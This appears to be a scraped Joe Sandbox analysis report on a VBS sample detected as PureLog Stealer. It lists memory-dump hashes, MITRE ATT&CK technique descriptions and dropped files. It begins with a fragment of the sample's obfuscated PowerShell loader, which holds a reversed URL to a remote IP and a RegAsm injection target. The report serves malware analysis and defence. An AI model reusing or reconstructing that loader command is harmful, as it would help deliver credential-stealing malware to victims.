['+'obje'+'ct[]]@'+'(skrtxt.KKRONK'+'/bk/ppmax'+'/842.7'+'2'+'2.552.431//:p'+'tthskr ,'+' '+'s'+'krdesativado'+'skr , '+'skrd'+'esativ'+'ad'+'os'+'k'+'r '+', skrd'+'e'+'sativadoskr,skrRe'+'gAs'+'msk'+'r,skrskr))').REPlAcE('xPi','$').REPlAcE(([cHAr]115+[cHAr]107+[cHAr]114),[STriNG][cHAr]39))"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000003.00000002.2205660588.000001B044580000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000003.00000002.2187547991.000001B03C578000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00007FFD9B8737B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2230926887.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b870000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction ID: 40a835b088d34e8ffb0ae9879aa3e5a3689db0855ca4e94c24c628fd77db8281
Opcode Fuzzy Hash: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction Fuzzy Hash: D301A77020CB0D8FD748EF0CE451AA6B3E0FB89364F10056DE58AC36A1D632E882CB42

Analysis Process: powershell.exePID: 7052, Parent PID: 6596COMMON

Executed Functions

Function 00007FFD9B960644 Relevance: 1.1, Instructions: 1105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2209825481.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9b960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26083c1afddd2776d322934496d9d7021ac0d52ec86dfd641503eb19d4fc9d7d
Instruction ID: e5e9e16205302852efa56847313bc66f7ad4c6dd1754135f3c086d5c5b9bfc75
Opcode Fuzzy Hash: 26083c1afddd2776d322934496d9d7021ac0d52ec86dfd641503eb19d4fc9d7d
Instruction Fuzzy Hash: 45727932B1EB895FE76A9B6C58A51743BE1EF52610B0A01FFD04DC71E7D918AD06C382

Function 00007FFD9B960098 Relevance: 1.9, Strings: 1, Instructions: 675COMMON

Download Yara Rule

Strings

H, xrefs: 00007FFD9B9605AC

Memory Dump Source

Source File: 00000003.00000002.2209825481.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9b960000_powershell.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: 1c1277b23651d6baec29a9cf37779cb747fa4b312cac44ccdcd7e1bcc991e9bb
Instruction ID: 0342f124f05e8f8ffb92b6606658109231849f5d6ebf360710ab95999233828c
Opcode Fuzzy Hash: 1c1277b23651d6baec29a9cf37779cb747fa4b312cac44ccdcd7e1bcc991e9bb
Instruction Fuzzy Hash: 11123622B1EB8D5FEBA69B6C48E46B57BE1EF56610B0A00FBD04CC71E7E9189D05C341

Function 00007FFD9B9636E3 Relevance: .4, Instructions: 433COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2209825481.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9b960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59839e36ba68cad6e5a97c098f5ad70ff686486e92f6eb669c7610a08e726f2e
Instruction ID: aa1dd700ac326522d5dfe9a06ddbaaf70c6d1d2c941b5b0061951b13e0ab86f0
Opcode Fuzzy Hash: 59839e36ba68cad6e5a97c098f5ad70ff686486e92f6eb669c7610a08e726f2e
Instruction Fuzzy Hash: 99D15672B1EA8E9FE7A5EB6C48655B97BE0EF52310B0901FED05DC70E3DA18A905C341

Function 00007FFD9B967F2E Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2209825481.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9b960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b251151851c26174e797b7b1a002ada064d339379fefabdeb76603881923c2b
Instruction ID: be757e5d6821ce1cb1caff7e5b0dee5ee08899c14887daa1da911de18c35eb1c
Opcode Fuzzy Hash: 5b251151851c26174e797b7b1a002ada064d339379fefabdeb76603881923c2b
Instruction Fuzzy Hash: 12614922F2FE8A5FF7B9966818B19B467C1EF85264B1904BFD45DC31E3ED08A9018341

Function 00007FFD9B96038E Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2209825481.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9b960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08158c891034b026df394b051fbee6fa1e822da339ae6297ddffa073e03a313a
Instruction ID: dfdeb6b06ef1431913672471e528ea263bc05d6b8e10e4557e322634e2938689
Opcode Fuzzy Hash: 08158c891034b026df394b051fbee6fa1e822da339ae6297ddffa073e03a313a
Instruction Fuzzy Hash: 1E51E322B1EB8D9FEBA5DBA844E45647BE1EF56610B4A00FBD04CCB1A7ED189D058341

Function 00007FFD9B967F7A Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2209825481.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9b960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc326a7b4f3e61ed8c49071e81a74e59d3722197baef230ec9f9dd10f4337971
Instruction ID: 4d8a9e064621e1325500bbabe42f8afb65efc969a44621588ee41c473276962e
Opcode Fuzzy Hash: dc326a7b4f3e61ed8c49071e81a74e59d3722197baef230ec9f9dd10f4337971
Instruction Fuzzy Hash: 49416822F2FA8B5FF7B9926804B05B467C1EF95264B6904BBD81DC31E3ED1CAC004301

Function 00007FFD9B895E85 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2209356612.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9b890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ebe9ee206030e91dbd3177bba32ebc2632555c4542620ec9b54490a204ec2dd
Instruction ID: f39f54c06c8e7059a90879c0e8458476f4e245444f0d37baa6c184b78e0e8a86
Opcode Fuzzy Hash: 4ebe9ee206030e91dbd3177bba32ebc2632555c4542620ec9b54490a204ec2dd
Instruction Fuzzy Hash: F201A73020CB0C4FDB48EF0CE451AA9B7E0FB89320F10056DE58AC36A1D632E881CB41

Function 00007FFD9B96668D Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2209825481.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9b960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35ac2280d2d2c289bc02d54a1a9ac0dea2901124b0e70d6312795d1f6b8bca17
Instruction ID: 7f9fbe24c548d7d204f26620d8b68e34ed1c76a1f056c269112c8f5b99947ccd
Opcode Fuzzy Hash: 35ac2280d2d2c289bc02d54a1a9ac0dea2901124b0e70d6312795d1f6b8bca17
Instruction Fuzzy Hash: DD01D613B1FBC95FD795AB7C28A81A8BBD0EF6624471840FAD06DCB2E7EC181C098311

Function 00007FFD9B8A1ABD Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2209356612.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9b890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cffe431781a649db954c444af00bd386a3e4cb6d5807b92c6d66b19249c4226
Instruction ID: 5672f9903dcf9a9682dbce57f09a62efdb87db772f9015718b9dc2d144f0a442
Opcode Fuzzy Hash: 5cffe431781a649db954c444af00bd386a3e4cb6d5807b92c6d66b19249c4226
Instruction Fuzzy Hash: 03018671A1974D8FDB55EF6488592EA7FE0FF68304F4500AAD408C71A1DA75A990C780

Non-executed Functions

Function 00007FFD9B8A113D Relevance: .5, Instructions: 512COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2209356612.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9b890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a05d9fbee6b961a156fcd72269e365ddb96ea1a992fe33cc877130a9b12955c2
Instruction ID: 5aba405cb802f3e1fae7810cfb268b373b52778f1f10536cb81508c36130cc54
Opcode Fuzzy Hash: a05d9fbee6b961a156fcd72269e365ddb96ea1a992fe33cc877130a9b12955c2
Instruction Fuzzy Hash: FC221870E0861D8BDB18DF98C4A19EDBBB2FF49314F14826DD41AAB386CB34A945CF54

Function 00007FFD9B89A1F9 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2209356612.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9b890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84be3bfbd3755aaa7b7addb1b38c0033b2ddf9f27d3a63bf5ccff4eb34b843ca
Instruction ID: b0cf6ff3a208974ade17cdfa3a471436e2afb6a343e41179949ef870142dca68
Opcode Fuzzy Hash: 84be3bfbd3755aaa7b7addb1b38c0033b2ddf9f27d3a63bf5ccff4eb34b843ca
Instruction Fuzzy Hash: E551106684E7C65FD7138B704C725907FB0AF07224B4E05EBC4D5CF0A3E6595A5AD322

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ZJbugHcHda.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5i3jdj22.3ak.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l1inyfbo.5zh.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mizk0jab.mrd.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_opd2forr.11h.psm1

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

HTTPS Proxied Packets

Windows Analysis Report
ZJbugHcHda.vbs